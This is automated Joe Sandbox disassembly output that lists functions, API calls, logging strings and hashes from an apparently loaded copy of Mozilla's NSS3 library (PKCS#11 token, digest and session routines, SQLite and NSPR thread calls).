Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C6A0D65
Part of subcall function 6C6A09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C6A0D70
Part of subcall function 6C6A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6A0D90
Part of subcall function 6C6A09D0: free.MOZGLUE(00000000), ref: 6C6A0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C5C2D3B

Part of subcall function 6C6A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C6A0BAB
Part of subcall function 6C6A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A0BBA
Part of subcall function 6C6A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C5C2D54

Part of subcall function 6C6A09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A0BCB
Part of subcall function 6C6A09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6A0BDE
Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(?), ref: 6C6A0C16

Strings

slotID = 0x%x, xrefs: 6C5C2D02
pLabel = 0x%p, xrefs: 6C5C2D4F
C_InitToken, xrefs: 6C5C2CE7
ulPinLen = %d, xrefs: 6C5C2D36
njl, xrefs: 6C5C2D6C, 6C5C2D9A
pPin = 0x%p, xrefs: 6C5C2D1D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$njl
API String ID: 420000887-4165270616
Opcode ID: cb1b00b334185021f37a3158a4ec04bc7cf1e998b0e9d6d5fc4e53a6ef522832
Instruction ID: eb459a20ba4d2e1302cca8f59de77e745b316282b622892d899013191d719a06
Opcode Fuzzy Hash: cb1b00b334185021f37a3158a4ec04bc7cf1e998b0e9d6d5fc4e53a6ef522832
Instruction Fuzzy Hash: 9E219275301184EFDB00DF95EDCCA953BB2EB92319F049029E61497622DB308C5ACF6E

Function 6C662D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C662D9F

Part of subcall function 6C51CA30: EnterCriticalSection.KERNEL32(?,?,?,6C57F9C9,?,6C57F4DA,6C57F9C9,?,?,6C54369A), ref: 6C51CA7A
Part of subcall function 6C51CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C51CB26

sqlite3_exec.NSS3(?,?,6C662F70,?,?), ref: 6C662DF9
sqlite3_free.NSS3(00000000), ref: 6C662E2C
sqlite3_free.NSS3(?), ref: 6C662E3A
sqlite3_free.NSS3(?), ref: 6C662E52
sqlite3_mprintf.NSS3(6C6CAAF9,?), ref: 6C662E62
sqlite3_free.NSS3(?), ref: 6C662E70
sqlite3_free.NSS3(?), ref: 6C662E89
sqlite3_free.NSS3(?), ref: 6C662EBB
sqlite3_free.NSS3(?), ref: 6C662ECB
sqlite3_free.NSS3(00000000), ref: 6C662F3E
sqlite3_free.NSS3(?), ref: 6C662F4C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: fe6dbfd3fea5b31ebe4b005b416e2ccf980e2a8aa1a8ec5d19f7d9e51a8968d8
Instruction ID: 95c8a1e92c9dd93310754c85851a03f26c1ff06ba68eb99e42b6baab562b2574
Opcode Fuzzy Hash: fe6dbfd3fea5b31ebe4b005b416e2ccf980e2a8aa1a8ec5d19f7d9e51a8968d8
Instruction Fuzzy Hash: 18617FB5E052058BEB00CFAAD884BDEB7F1EF89348F144028DC15A7B41E735E855CBA6

Function 6C5A7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6F2120,6C5A7E60,00000000,?,?,?,?,6C62067D,6C621C60,00000000), ref: 6C5A7C81

Part of subcall function 6C514C70: TlsGetValue.KERNEL32(?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514C97
Part of subcall function 6C514C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CB0
Part of subcall function 6C514C70: PR_Unlock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CC9

TlsGetValue.KERNEL32 ref: 6C5A7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C5A7CB4
PR_Unlock.NSS3 ref: 6C5A7CCF

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

TlsGetValue.KERNEL32 ref: 6C5A7D04
EnterCriticalSection.KERNEL32(?), ref: 6C5A7D1B
realloc.MOZGLUE(-00000050), ref: 6C5A7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A7DF4
PR_Unlock.NSS3 ref: 6C5A7E0E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: e5c96c546de14b75065792ff2062ce4907dcae2d0c9596be44db22c3e7a088b0
Instruction ID: a5ddedaade13f334086c672cc08fa7ea90e26c0a5ada3c8db84fa78b6f313593
Opcode Fuzzy Hash: e5c96c546de14b75065792ff2062ce4907dcae2d0c9596be44db22c3e7a088b0
Instruction Fuzzy Hash: D8512671A05140AFDF00DF6BEC85A697BB2FB42398F15412ADE1587715EB30D852CB8D

Function 6C514C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CB0
PR_Unlock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514D97
PR_Lock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514DBA
PR_WaitCondVar.NSS3 ref: 6C514DD4
PR_Unlock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514DEF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 173d37bffd6cf91d2c4a3847e70ce10632b9e4001d5e7977a2d44596789d41de
Instruction ID: 023b7c0595f81d592b0534461beca33ddd549824be832d052059ca463f6e7501
Opcode Fuzzy Hash: 173d37bffd6cf91d2c4a3847e70ce10632b9e4001d5e7977a2d44596789d41de
Instruction Fuzzy Hash: B541AFB5A18611CFDB00EF7AE88855D7BF0BF06318F155669D8589BB00E730D884CB8A

Function 6C5B8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5B9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5B9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5B905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5B9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5B90EC

Part of subcall function 6C580F00: PR_GetPageSize.NSS3(6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F1B
Part of subcall function 6C580F00: PR_NewLogModule.NSS3(clock,6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5ADA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5B9111

Strings

njl, xrefs: 6C5B90A3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: njl
API String ID: 2831689957-2050556502
Opcode ID: 80fc46724daa99947fb19573ec1c7212ca44e05d2740a07bf304a5a2fd613382
Instruction ID: 51d0c6566160b855ff5b3bbe4dd4039295ef9278fc900cb5660a77428cb326d2
Opcode Fuzzy Hash: 80fc46724daa99947fb19573ec1c7212ca44e05d2740a07bf304a5a2fd613382
Instruction Fuzzy Hash: 6A519AB4A056558FCF00EF39C8D8259BBF1BF4A318F05556ADC49AB705EB30E884CB96

Function 6C6A7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6A7CE0

Part of subcall function 6C659BF0: TlsGetValue.KERNEL32(?,?,?,6C6A0A75), ref: 6C659C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A7D36
PR_Realloc.NSS3(?,00000080), ref: 6C6A7D6D
PR_GetCurrentThread.NSS3 ref: 6C6A7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C6A7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A7DD8
malloc.MOZGLUE(00000080), ref: 6C6A7DF8
PR_GetCurrentThread.NSS3 ref: 6C6A7E06

Strings

:%s:%d:0x%lx, xrefs: 6C6A7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C6A7DF0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 6895662247fe16066073ccdb9a45dd4b63d72cebbdce589e3e6893a628073e94
Instruction ID: 3d5606a07deb19daa93af2851ab8695293f8d38d564f280f9c5a917b9a718545
Opcode Fuzzy Hash: 6895662247fe16066073ccdb9a45dd4b63d72cebbdce589e3e6893a628073e94
Instruction Fuzzy Hash: FF41E6B1A00205AFDB04DF68CC909AB37F6FF85318B25456DE8198BB55D731EC12CBA9

Function 6C6A7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C6A7E46

Part of subcall function 6C581240: TlsGetValue.KERNEL32(00000040,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581267
Part of subcall function 6C581240: EnterCriticalSection.KERNEL32(?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C58127C
Part of subcall function 6C581240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581291
Part of subcall function 6C581240: PR_Unlock.NSS3(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C5812A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C6A7EAF
PR_ImportFile.NSS3(?), ref: 6C6A7ECF
PR_GetCurrentThread.NSS3 ref: 6C6A7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C6A7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C6A7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C6A7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C6A7E41
%d:0x%lx, xrefs: 6C6A7EA9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 7b149311c42b56e912be0918ef9857d2d8f83ad1d2975d04269532b47eb5c06b
Instruction ID: 1ce7f204f0fcf70d88527666a8a22a69a390cc97d0e083c79c51fe52ee12bf7f
Opcode Fuzzy Hash: 7b149311c42b56e912be0918ef9857d2d8f83ad1d2975d04269532b47eb5c06b
Instruction Fuzzy Hash: 76313770D041199BEB009BE9CC80AABB7E8FF4A348F100565D40597A16E7719D17C7EE

Function 6C5B4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5B4E90
EnterCriticalSection.KERNEL32 ref: 6C5B4EA9
TlsGetValue.KERNEL32 ref: 6C5B4EC6
EnterCriticalSection.KERNEL32 ref: 6C5B4EDF
PL_HashTableLookup.NSS3 ref: 6C5B4EF8
PR_Unlock.NSS3 ref: 6C5B4F05
PR_Now.NSS3 ref: 6C5B4F13
PR_Unlock.NSS3 ref: 6C5B4F3A

Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807AD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807CD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807D6
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C51204A), ref: 6C5807E4
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,6C51204A), ref: 6C580864
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C580880
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,6C51204A), ref: 6C5808CB
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808D7
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808FB

Strings

bU[l, xrefs: 6C5B4E5C
bU[l, xrefs: 6C5B4F3F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU[l$bU[l
API String ID: 326028414-99402169
Opcode ID: 2160efcf5ca2524b8a0c24e5b861c66b842f4e3b9ad628fca7bb87947a2d592f
Instruction ID: efb8d43ec964ecb57f3ab736139f2ba891e4a3921ea0b985c304a866bc55af3e
Opcode Fuzzy Hash: 2160efcf5ca2524b8a0c24e5b861c66b842f4e3b9ad628fca7bb87947a2d592f
Instruction Fuzzy Hash: 11414AB4A04615DFCB00EF69D4848AABBF0FF49314B018569EC599B710EB30E855CB95

Function 6C5C6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C5C6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C6CA3

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C5C6CD5

Strings

hSession = 0x%x, xrefs: 6C5C6C7E, 6C5C6C8E
pMechanism = 0x%p, xrefs: 6C5C6CD0
C_DigestInit, xrefs: 6C5C6C61
(CK_INVALID_HANDLE), xrefs: 6C5C6C9C
njl, xrefs: 6C5C6CF4, 6C5C6D1F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$njl
API String ID: 1003633598-3829067992
Opcode ID: 58e8af74234062093a67e5e3403dbc42bcdf6b9dde563dc6d930a867fb7e45a9
Instruction ID: ac9892180467dff5ee87c8ec2760aea1dad1b104827a4a3924e33d87e8ccfd31
Opcode Fuzzy Hash: 58e8af74234062093a67e5e3403dbc42bcdf6b9dde563dc6d930a867fb7e45a9
Instruction Fuzzy Hash: 4921F5357012549BDB00DB96EDC8BAA37B6EB83318F444029E51997B01DF309D18CB9F

Function 6C5C9DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C5C9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C9E33

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C5C9E65

Strings

hSession = 0x%x, xrefs: 6C5C9E0E, 6C5C9E1E
flags = 0x%x, xrefs: 6C5C9E60
(CK_INVALID_HANDLE), xrefs: 6C5C9E2C
C_SessionCancel, xrefs: 6C5C9DF1
njl, xrefs: 6C5C9E7D, 6C5C9EA8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$njl
API String ID: 1003633598-1461563556
Opcode ID: 13661e1796bdef0961e82143d70241b9e7ab0b3e874242e88e64c7a0021616dc
Instruction ID: ba9896692b2b85aa10dae756aad32d2c5a1c2034823c29a8ea59e31d3f9f9ea3
Opcode Fuzzy Hash: 13661e1796bdef0961e82143d70241b9e7ab0b3e874242e88e64c7a0021616dc
Instruction Fuzzy Hash: FF21F371701144AFD700DB95EDC8BAA37B6EB8230DF044429E919A7B01DB309C59CBAF

Function 6C5DECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C5DDE64), ref: 6C5DED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DED22

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

PL_FreeArenaPool.NSS3(?), ref: 6C5DED4A
PL_FinishArenaPool.NSS3(?), ref: 6C5DED6B
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C5DED38

Part of subcall function 6C514C70: TlsGetValue.KERNEL32(?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514C97
Part of subcall function 6C514C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CB0
Part of subcall function 6C514C70: PR_Unlock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C5DED52
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C5DED83
PL_FreeArenaPool.NSS3(?), ref: 6C5DED95
PL_FinishArenaPool.NSS3(?), ref: 6C5DED9D

Part of subcall function 6C5F64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C5F127C,00000000,00000000,00000000), ref: 6C5F650E

Strings

security, xrefs: 6C5DED06

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
